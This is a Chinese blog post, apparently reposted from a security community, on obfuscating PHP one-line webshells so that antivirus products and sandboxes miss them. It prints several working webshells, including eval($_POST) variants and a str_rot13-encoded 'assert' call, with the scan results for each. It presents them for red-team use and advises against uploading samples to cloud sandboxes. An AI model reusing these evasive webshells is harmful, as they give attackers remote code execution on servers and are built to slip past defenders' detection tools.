!
也想出现在这里? 联系我们
创意广告

形而上学,不行退学的一句话

0x01 前言

文章写完了,绕过了360杀毒,绕过了火绒,绕过了电脑管家,总结了些简单的姿势,确是没骗过win10的防病毒,剩下的这部分是从Typora的历史记录里找的,,,已经没有想法再来一遍了,,,总的来讲下面的这些小步骤碰见防护比较l的站点估计问题不大,还有大家尝试免杀尤其是CS之类的免杀最好还是不要上传云沙箱了,,,,打红队的时候直接拿去尝试就ok了,

0x02 木马免杀

  • 环境

虚拟机Win10

一句话木马免杀

先测试一下简单的一句话木马”<?php @eval($_POST[‘hacker’]); ?>”,360杀毒没反应,第一次使用360杀毒,之前从来不怎么使用该杀毒软件,但是杀毒结果为安全比较意外。

但是当360杀毒开启文件实时系统保护的时候是可以查杀到木马文件,或者时在开启该项的情况下才可直接查杀病毒。

使用火绒查杀一下

D盾的话就不做尝试了,毕竟后两款我们大都是比较常用,可用性来讲都还是比较好的。

对于如此简单的一句话当然满足不了使用,毕竟在HV中这种最低级别的木马文件时肯定绕不过态势感知的。

首先如何绕过杀软呢?

调用方法执行shell

代码:

<?php
function bypass(){
    return $_POST['hacker'];;
}
eval(bypass());
?>
  • 火绒查杀结果

  • 微步沙箱进行测试

Snipaste_2021-09-03_17-06-33.png

也是仅有单引擎识别为木马文件。

  • D盾扫描

使用函数调用的危险级别为三级,类型被定义为可疑文件。那么根据这种情况,根据D盾的提示,是因为识别到了文件内容的eval函数,那么尝试对eval函数做拼接,接着做尝试

<?php
highlight_file(__FILE__);
$c=str_rot13('nffreg');
$c($_REQUEST['x']);
?>

正常能够执行phpinfo信息,测试没有问题,继续套用方法进行魔改

但是该变形需要再php版本<=7.0.9,这里我尝试使用php版本为7.2.x的时候是无法执行函数的,验证一波,D盾风险级别竟然为4级别,,,利用函数调用代码如下sss1.php

<?php
highlight_file(__FILE__);
$c=str_rot13('nffreg');
function bypass($a){
    $a($_REQUEST['x']);
}
bypass($c);
?>

可以看到盾的检测结果

但是微步云沙箱依旧检测出为恶意文件,但是利用火绒杀毒检测为安全

小结

一般使用类以及函数调用去封装一句话
使用特殊函数去魔改敏感字符
远程木马
字符串拼接等

CS免杀

随后再补充,,,,,,,最后在跟师傅们强调一下,别没事上传云沙箱,沙箱,箱,,,,,,,,,,,,,,

文字来源于- 火线 Zone-云安全社区,安全小天地只做文章分享,如有侵权,请联系站长删除


「渗透云记」公众号里主要记录我每天的所思所想,我会坚持更新质量不错的文章,感兴趣的小伙伴可以扫描下方二维码,谢谢支持! 安全小天地 - 公众号 - 渗透云记
© 版权声明
THE END
喜欢就支持一下吧
点赞13 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容